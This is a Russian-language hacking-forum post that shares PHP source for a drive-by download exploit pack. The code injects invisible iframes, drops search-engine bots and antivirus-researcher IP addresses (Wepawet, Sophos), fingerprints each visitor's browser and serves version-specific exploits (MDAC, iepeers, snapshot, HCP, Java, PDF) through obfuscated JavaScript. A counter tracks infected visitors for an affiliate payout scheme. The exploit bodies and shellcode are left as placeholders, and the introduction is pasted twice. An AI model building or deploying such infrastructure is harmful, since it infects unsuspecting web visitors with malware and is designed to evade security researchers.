Вообщем связка не ахти, основана на коде TrueUser`a, но переделана по сравнению с нынешним...
Создавалась с целью изучения, а также во время моего начала работы со связками))
Принимаются доработки и критика в сторону, также буду благодарен любым советам.
Что-то взял из Сибири, что-то из феникса.
Фичи: крипт внутреннего файла с отдачей в load.php(там всё просто)+счётчик по типу fopen/flock/fputs/fclose.
После сжатия любым пхп обфускатором размер со сплоитами: 7-8кб.
Сорсы отражают лишь общую суть, если надо по просьбе могу выложить остальные части исходника.
Собственно говоря многие спросят с какой целью выложил ?
1)Продолжить идею TrueUser`а о написании микросвязок.
2)Написать общими силами единую связку, дальше каждый в меру своих возможностей разберётся сам.
3)Изучить js.
По мере решения тех или иных вопросов я буду выкладывать в эту тему готовый сурс. Не стисняйтесь - добавляйте своё или критикуйте.
Собственно сорсы:
Создавалась с целью изучения, а также во время моего начала работы со связками))
Принимаются доработки и критика в сторону, также буду благодарен любым советам.
Что-то взял из Сибири, что-то из феникса.
Фичи: крипт внутреннего файла с отдачей в load.php(там всё просто)+счётчик по типу fopen/flock/fputs/fclose.
После сжатия любым пхп обфускатором размер со сплоитами: 7-8кб.
Сорсы отражают лишь общую суть, если надо по просьбе могу выложить остальные части исходника.
Собственно говоря многие спросят с какой целью выложил ?
1)Продолжить идею TrueUser`а о написании микросвязок.
2)Написать общими силами единую связку, дальше каждый в меру своих возможностей разберётся сам.
3)Изучить js.
По мере решения тех или иных вопросов я буду выкладывать в эту тему готовый сурс. Не стисняйтесь - добавляйте своё или критикуйте.
Собственно сорсы:
Код:
<?php
/********************************
* Coded by Chococream. 23.08.2010 *
*********************************/
/*********************************
* Пробив связки оценивается про- *
* грузками файла(партнёрка). *
**********************************/
//Путь к связке
$pack_url = 'http://'.$_SERVER['HTTP_HOST'].'/ex.php';
//Путь до лоадера
$url = 'http://'.$_SERVER['HTTP_HOST'].'/load.php';
//Путь к HCP сплойту
$hcp_url = 'http://'.$_SERVER['HTTP_HOST'].'/s.hta';
//Стата
if($_GET['go']=='stata'){die(file_get_contents('count'));} //count src: 25/14(ppl come/ppl loaded).
//Проверяем гет запрос
if($_GET['go'] != 1) {
//Автоифреймер
echo '<iframe src="'.$pack_url.'?go=1" width=0 height=0 frameborder=0></iframe>';
} else {
/**
* ************************ Работа связки ********************
*/
$ip = $_SERVER['REMOTE_ADDR'];
//Определяем браузер
function br() {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if((eregi("Google", $user_agent))
or(eregi("Aport", $user_agent))
or(eregi("BOTW", $user_agent))
or(eregi("boitho.com", $user_agent))
or(eregi("Entireweb", $user_agent))
or(eregi("Baidu", $user_agent))
or(eregi("crawler", $user_agent))
or(eregi("Transcoder", $user_agent))
or(eregi("VisualParser", $user_agent))
or(eregi("Aport", $user_agent))
or(eregi("Yahoo", $user_agent))
or(eregi("msnbot", $user_agent))
or(eregi("Turtle", $user_agent))
or(eregi("Yandex", $user_agent))
or(eregi("YaDirectBot", $user_agent))
or(eregi("Rambler", $user_agent))
or(eregi("James Bond", $user_agent))
or(eregi("Ask Jeeves", $user_agent))
or(eregi("EltaIndexer", $user_agent))
or(eregi("GameSpyHTTP", $user_agent))
or(eregi("grub-client", $user_agent))
or(eregi("Slurp", $user_agent))
or(eregi("Pagebull", $user_agent))
or(eregi("Scooter", $user_agent))
or(eregi("Nutch", $user_agent))
or(eregi("Zeus", $user_agent))
or(eregi("WebAlta", $user_agent))
or(eregi("Wget", $user_agent))
or(eregi("bot", $user_agent))
or(eregi("ia_archiver", $user_agent)))
{$res = "Bots";}
elseif(ereg("iPhone", $user_agent)) $res = "iPhone";
elseif((ereg("Nintendo", $user_agent)) or(ereg("Nitro", $user_agent))) $res = "Nintendo browser";
elseif(eregi("PlayStation", $user_agent)) $res = "PlayStation";
elseif(ereg("PPC;", $user_agent)) $res = "Pocket PC";
elseif((ereg("PPC", $user_agent)) or(eregi("Mac_PowerPC", $user_agent))) $res = "Power PC";
elseif((eregi("Symbian", $user_agent))
or(eregi("BlackBerry", $user_agent))
or(eregi("Motorola", $user_agent))
or(eregi("Smartphone", $user_agent))
or(eregi("Windows CE", $user_agent))
or(eregi("Nokia", $user_agent))
or(eregi("mobile", $user_agent))){$res = "Mobile phone browser";}
elseif(eregi("Opera Mini", $user_agent)) {$res = "Opera Mini/mobile phone";}
elseif(eregi("(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $bv) or eregi("(opera)/([0-9]{1,2}.[0-9]{1,3}){0,1}", $user_agent, $bv)) {$res = "Opera ".$bv[2]."";}
elseif(eregi("(konqueror)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv)) {$res = "Konqueror ".$bv[2]."";}
elseif(eregi("(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $bv)) {$res = "Lynx ".$bv[2]."";}
elseif(eregi("(links) \\(([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv)) {$res = "Links ".$bv[2]."";}
elseif(eregi("(netscape)/(6.[0-9]{1,3})", $user_agent, $bv)) {$res = "Netscape ".$bv[2]."";}
elseif(eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})", $user_agent, $bv) or
eregi("(firefox)/([0-9]{1,2}.[0-9]{1,2})", $user_agent, $bv)) {$res = "FireFox ".$bv[2]."";}
elseif(eregi("(amaya)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv)) {$res = "Amaya ".$bv[2]."";}
elseif(eregi("(Chrome)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv)) {$res = "Chrome ".$bv[2]."";}
elseif(eregi("(Safari)", $user_agent)) {$res ="Safari";}
elseif(eregi("(msie) ([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv)) {$res = "MSIE ".$bv[2]."";}
elseif(eregi("(SeaMonkey)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv)) {$res = "SeaMonkey ".$bv[2]."";}
elseif(eregi("(mozilla)/([0-9]{1,2}.[0-9]{1,3})", $user_agent, $bv))
{$res = "Mozilla ".$bv[2]."";}
elseif(eregi("(flock)", $user_agent))
{$res ="Flock";}
elseif(eregi("(maxthon)", $user_agent)) {$res ="Maxthon";}
else {$res = "Unknown";}
return $res;
}
$browser=br();
//Antibot
if($browser == 'Bots') {
die();
}
//Antiwepaewet бредовая функа :) надо дорабатывать однозначно...
$badips = array('128.111.48.152', '143.215.130.61', '139.146.167.25', '97.74.141.1', '213.171.194.34', '213.31.172.77');
for($i=0; $i<=6; $i++) {
if($ip == $badips[$i]) {
die();
}
}
//AntiSophos тоже самое в ситуации с вепаветом...
$ip = explode('.', $ip2);
if($ip2[0].'.'.$ip2[1].'.'.$ip2[2] == '92.123.155') {
die();
}
/**
* ************************ ФУНКЦИИ ********************
*/
//Подключаем криптор
include('crypt.php');
global $var;
//Unescape
function unescape($s) {
$out = "";
$res=strtoupper(bin2hex($s));
$g = round(strlen($res)/4);
if($g != (strlen($res)/4)) $res.="00";
for($i=0; $i<strlen($res);$i+=4)
$out.="%u".substr($res,$i+2,2).substr($res,$i,2);
return $out;
}
//Encode from %u to hex
function dec2hex_from_u($t) {
for($i=0;$i<strlen($t)/6;$i++) {
$str = $t;
$c = $i*6;
$str = strstr($str, ord("%u"));
$str = $str[$c+0].$str[$c+1].$str[$c+4].$str[$c+5].$str[$c+2].$str[$c+3];
$str = str_replace($str[0].$str[1], '', $str);
$r .= "%u$str";
}
$r = str_replace('%u', '', $r);
return $r;
}
//Gen shellcode
function shcode($url) {
$shcode = "Можете взять любой паблик шк";
return $shcode.$url."%u9000";
}
//HEX encoder
function uEncode($s) {
$res=strtoupper(bin2hex($s));
$g = round(strlen($res)/4);
if($g != (strlen($res)/4)) { $res.="00"; }
$out = "";
for($i=0; $i<strlen($res); $i+=4) {
$out.="%u".substr($res, $i+2, 2).substr($res, $i, 2);
}
return $out;
}
//Сплойты.
/************************ COM ********************/
$com = "";
/************************ IEPEERS ********************/
$iep = "";
/************************ MDAC ********************/
$mdac = "";
/************************ SNAPSHOT ********************/
$snapshot = "";
/************************ HCP ********************/
$hcp = '';
/************************ JAVA ********************/
$java = "";
/************************ PDF ********************/
if(eregi("Opera", $browser) || eregi("firefox", $browser) || eregi("mozilla", $browser)) {
$pdf = "<object width='0' height='0' frameborder='0' type='application/pdf' data='pdf.php'><param name='src' value='1.pdf'>";
} else {
$pdf = "<iframe width='0' height='0' frameborder='0' src='pdf.php'></iframe>";
}
if(eregi("IE", $browser)) {
$pdf = '
function pdf(){
try {
var obj = null;
obj = new ActiveXObject("AcroPDF.PDF");
if (!obj) {obj = new ActiveXObject("PDF.PdfCtrl");}
if (obj) {document.getElementById("pdfplace").innerHTML = "'.$pdf.'";}
} catch(e) { %next% }
}';
} else {
$pdf = "
function pdf() {
for (var i = 0; i < navigator.plugins.length; i++){
var name = navigator.plugins[i].name;
if (name.indexOf(\"Adobe Acrobat\") != -1){
document.getElementById(\"pdfplace\").innerHTML = \"".$pdf."\";
} else { %next% }
}
}";
}
/************************ FF ********************/
$ff = "";
/************************ GET EXP ********************/
function get_exp($spl) {
global $mdac, $com, $pdf, $snapshot, $iep, $java, $ff, $hcp;
list($exp1, $exp2, $exp3, $exp4, $exp5, $exp6, $exp7, $exp8, $exp9, $exp10)=explode(", ",$spl);
$c = preg_match_all('/, /',$spl,$found)+1;
for($i=0;$i<=$c;$i++) {
eval("\$spl_code = \$\$exp".$i.";");
$i++;
eval("\$spl_next = \$exp".$i.";");
$i--;
$get = '();';
if($c <= $i) { $get = ''; }
$spl_repl .= str_replace('%next%', $spl_next.$get, $spl_code);
eval("\$r .= \$\$exp".$i.";");
}
return $comment.crypter($spl_repl.$exp1."();")."</script>
//$comment - у меня здесь отдельная процедура, которая генерит трэш, типа шаблона странички. Также здесь юзается crypter() функция, которая при вызове криптует ваш js код.
</body>
</html>";
}
/**
* ************************ РОТАТОР ********************
*/
//Проверка на уникальность
if(isset($_COOKIE['micro_pack'])) {
die();
}
//Заголовки
@ob_start('ob_gzhandler');
error_reporting(0);
ignore_user_abort(1);
//Ставим куки
$cookie_time = 99999;
SetCookie('micro_pack', md5(rand(0, 999)), time() + $cookie_time);
//Записываем чела
$count=file_get_contents('count');
$count=explode('/',$count);
$count[0]++;
$countf=fopen('count','r+');
flock($countf,2);
fputs($countf,$count[0].'/'.$count[1]);
fclose($countf);
//Открываем документ
echo '<html><head>
<script>
window.onerror = return(true);
</script>
<style>
div {display:none;}
b {display:none;}
</style>
</head><body>';
//Подключаем ротатор сплойтов
//IE 8
if(eregi('MSIE 8', $browser)) {
echo get_exp('pdf');
echo $java;
echo $hcp;
echo get_exp('snapshot');
}
//IE 7
elseif(eregi('MSIE 7', $browser)) {
echo get_exp('pdf');
echo $java;
echo $hcp;
echo get_exp('iep');
}
//IE 6
elseif(eregi('MSIE 6', $browser)) {
echo get_exp('pdf');
echo $java;
echo get_exp('mdac');
echo get_exp('iep');
}
//IE 5
elseif(eregi('MSIE 5', $browser)) {
echo get_exp('mdac, pdf, com');
echo $java;
}
//IE 4
elseif(eregi('MSIE 4', $browser)) {
echo get_exp('mdac, pdf, com');
echo $java;
}
//FF
elseif(eregi('firefox', $browser)) {
echo get_exp('pdf');
echo get_exp('ff');
echo $java; //!!!
}
//Opera
elseif(eregi('Opera', $browser) or eregi('opera', $browser)) {
echo get_exp('pdf');
echo $java;
}
else {echo get_exp('pdf'); echo $java; }
//Закрываем документ
echo '</body></html>';
@ob_end_flush();
exit;
}
?>